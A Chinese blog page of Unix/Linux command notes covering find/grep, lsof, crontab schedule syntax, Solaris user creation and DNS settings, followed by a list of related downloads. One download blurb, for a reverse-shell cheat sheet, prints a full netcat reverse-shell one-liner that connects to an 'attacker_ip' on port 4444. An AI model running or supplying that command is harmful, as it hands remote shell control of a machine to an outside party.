`
taimukang
  • 浏览: 184855 次
  • 性别: Icon_minigender_1
  • 来自: 广州
社区版块
存档分类
最新评论

Unix/Linux常用命令与设置备忘

阅读更多
1、查找当前目录下包含指定内容的文件:
find . -exec grep x {} \; 或者 find .|xargs grep x 命令。

2、查看某进程打开的文件句柄: 
    lsof -p <进程的 pid>

   查看某进程打开的文件句柄数:
    lsof -p pid | wc -l

3、通过/etc/crontab设置计划任务举例:
   5  *  *  *  *  ls            // 指定每小时的第5分钟执行一次ls命令
  30  5  *  *  *  ls            // 指定每天的 5:30 执行ls命令
  30  7  8  *  *  ls              指定每月8号的7:30分执行ls命令
  30  5  8  6  *  ls              指定每年的6月8日5:30执行ls命令
  30  6  *  *  0  ls           指定每星期日的6:30执行ls命令[注:0表示星天,1表示
                               星期1,以此类推,也可以用英文来表示,sun表示星期
                               天,mon表示星期一等。
  30  3 10,20   * * ls         每月10号及20号的3:30执行ls命令[注:“,”
                               用来连接多个不连续的时段]
  25 8-11 *  *  *  ls          每天8-11点的第25分钟执行ls命令[注:“-”用来连接连
                               续的时段]
  */15 *  *  *  *  ls          每15分钟执行一次ls命令 [即每个小时的第0 15 30 45
                                60分钟执行ls命令 ]
  30  6  */10  *  * ls       每个月中,每隔10天6:30执行一次ls命令[即每月的1、11、
                             21、31日是的6:30执行一次 ls命令]
  50  7  *  *  *   root  run-parts /etc/cron.daily
                  每天7:50以root 身份执行/etc/cron.daily目录中的所有可执行文件
                  [ 注:run-parts参数表示,执行后面目录中的所有可执行文件。 ]

4.solaris下添加用户:
    useradd -u 101 -g root -m -d /export/home/testor -s /usr/bin/bash testor
    以上命令添加了一个testor用户,用户ID为101 ,组为root,-s指定所用的shell
    passwd testor   :为testor用户设置密码

5、solaris设置DNS
    /etc/nsswitch.conf

        host : files dns
        network : files dns

    /etc/resolv.conf

        nameserver xxx.xxx.xxx.xxx
分享到:
评论

相关推荐

    Linux命令备忘手册

    Linux命令备忘手册是每一位Linux用户或系统管理员必备的参考资料,它涵盖了在Linux操作系统中进行日常操作、系统管理以及问题排查所需的各种命令。Linux是一种开源的类UNIX操作系统,以其稳定性和灵活性著称,广泛...

    linux-自动显示tmux中任何命令的备忘表或注释

    `tmux`的常用命令包括`Ctrl+b`后接`:new`创建新会话,`Ctrl+b`后接`d`断开会话,`Ctrl+b`后接`(`和`)`切换到上一个或下一个窗口,以及`Ctrl+b`后接`%`和`"`分割垂直或水平的窗格。 `hozza-tmux-hints`这个插件的...

    Linux 备忘手册.zip

    对于初学者,理解Linux的基本概念和常用命令是至关重要的。学习如何使用终端、编写脚本以及理解文件权限和用户管理是进阶操作。随着经验的积累,还可以探索系统调用、内核模块编程以及系统监控等方面的知识。 此外...

    linux备忘手册分享

    2. 常用命令:`ls`用于查看目录内容,`cd`切换目录,`mkdir`创建目录,`touch`创建文件,`rm`删除文件或目录,`cp`复制文件或目录,`mv`移动或重命名文件/目录,`cat`查看文件内容,`more`和`less`分页查看文件,`...

    Linux速查备忘手册.pdf

    Linux速查备忘手册是一份关于Linux操作系统的基本命令、操作以及常用工具的使用指南。该手册主要面向Linux系统管理员、开发人员以及对Linux感兴趣的用户,提供快速查阅和参考功能,帮助他们更高效地管理Linux系统和...

    linux 最全最好的解说

    文档还提到了一个非常实用的命令备忘录表,它包含了Linux中最常用的命令及其示例,便于用户快速查阅和学习。这份备忘录不仅适合初学者,也对有经验的用户在忘记某些特定命令时提供便利。建议的使用方式包括将其打印...

    MEMO:工作备忘录

    7. **别名和Shell函数**:创建别名(`alias`)简化常用命令,定义函数以执行一系列命令。 8. **Shell扩展**:如 Brace Expansion(花括号展开),用于批量生成文件名或命令。 9. **错误处理和调试**:学会使用`set...

    ShellCommands:简单的shell命令备忘单。 如果我忘记了命令,可以帮助我快速记住命令

    - `alias`:创建命令别名,简化常用命令。 8. **包管理和软件安装**: - `apt`/`apt-get`(Ubuntu, Debian):安装和管理软件包。 - `yum`/`dnf`(CentOS, Fedora):类似的功能。 - `brew`(macOS):用于安装...

    Comandos:带有备忘单的存储库,使我们将在视频中使用的命令更加实用

    “Comandos-master”这个压缩包文件名暗示了它是一个主分支或者是最完整的版本,可能包含了所有相关的命令备忘单,按照某种结构或分类进行了组织。通常在开源项目中,"master"分支代表主要或默认的分支,其中包含...

    编程备忘单:编程备忘单(Python,Bash,Haskell ...)

    8. 别名与函数:别名简化常用命令,如`alias ll='ls -l'`。函数封装多行命令。 【Haskell编程备忘单】 Haskell是纯函数式编程语言,注重静态类型和懒求值: 1. 函数定义:使用`=`, 如`add x y = x + y`。高阶函数...

    备忘录

    在IT行业中,Shell是一种强大的命令行接口,用于与操作系统交互,尤其在Unix和Linux系统中广泛使用。备忘录(Memo)通常指的是记录和管理日常事务的文本文件或应用程序,而在这个上下文中,"备忘录"可能是指一个...

    bash-git-cheatsheet:我的Bash和Git命令备忘单

    这篇备忘单将深入探讨这两个工具的基本概念、常用命令以及它们如何协同工作。** ### Bash基础知识 **1. Bash命令行基础** - **导航**:使用`cd`命令改变目录,`ls`列出目录内容。 - **文件操作**:`touch`创建新...

    备忘单

    "备忘单"这个仓库,正如其名,是一个集成了各种常用命令和技术的资源库,特别适用于Git、Node.js、Shell以及数据库等领域的初学者和专业人士。在这里,我们将深入探讨Shell相关的知识点。 1. **Shell基础** - **...

    cheat_sheets:看起来很有帮助的命令。 向上

    向上”暗示了这个压缩包可能包含了各种命令行工具的备忘单,这些工具可能是用于操作系统交互、编程语言、数据处理或其他IT领域的常用命令。 描述中的“看起来很有帮助的命令。 向上”进一步强调了这些备忘单的实用...

    反向壳备忘单::upside-down_face:反向壳备忘单:upside-down_face:

    在Linux或Unix环境中,`nc`(Netcat)是一个常用的工具来创建反向shell。例如: ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2&gt;&1 | nc attacker_ip 4444 &gt; /tmp/f ``` 这段命令会在受害主机上创建...

    注意事项:只是一些注意事项和备忘单

    在IT行业中,Shell脚本是Linux和Unix系统中不可或缺的一部分,它是一种命令行解释器,允许用户通过文本界面与操作系统进行交互。在这个“注意事项:只是一些注意事项和备忘单”中,我们可以预想这是一份关于Shell...

    sajib-cheatsheet:这是我的个人备忘单

    4. **操作系统**:Linux或Unix命令行工具,系统管理、网络配置等相关知识。 5. **版本控制**:Git的基本操作和高级用法,如分支管理、合并冲突解决。 6. **数据结构与算法**:常见数据结构(如数组、链表、树)和...

    收集的常见的专业问题解决办法.rar

    2009-03-09 09:42 159485 36202 常见的专业问题解决办法\MYSQL命令备忘_心心相惜.mht 2009-02-24 09:01 165033 37357 常见的专业问题解决办法\MySql的配置_Believe ┭┮ YourSelf.mht 2009-02-24 08:43 452690 ...

    awesome-cheatsheets-cn::fire::fire::fire:专为国人开发者打造的备忘单-操作系统,数据库,编程语言,框架和开发工具等速查表。通过一个文件快速掌握或查找您所需的关键知识。项目上榜靠你了,觉得不错点个Star吧!:rocket::rocket:

    例如,Git的速查表会列出常用的命令,如克隆、提交、分支管理等;VS Code或IntelliJ IDEA的快捷键和配置技巧也是开发者需要掌握的内容。 通过awesome-cheatsheets-cn项目,开发者可以在短时间内获取到各种技术的...

    无涯教程(LearnFk)-Latex教程离线版.pdf

    它的主要功能是排版数学文档,而且可以用于多种操作系统,包括UNIX、BSD、Linux、Windows和DOS等。 LaTeX由美国计算机科学家Leslie Lamport在1983年创建,当时他在SRI International工作。LaTeX的创建是对TeX排版...

Global site tag (gtag.js) - Google Analytics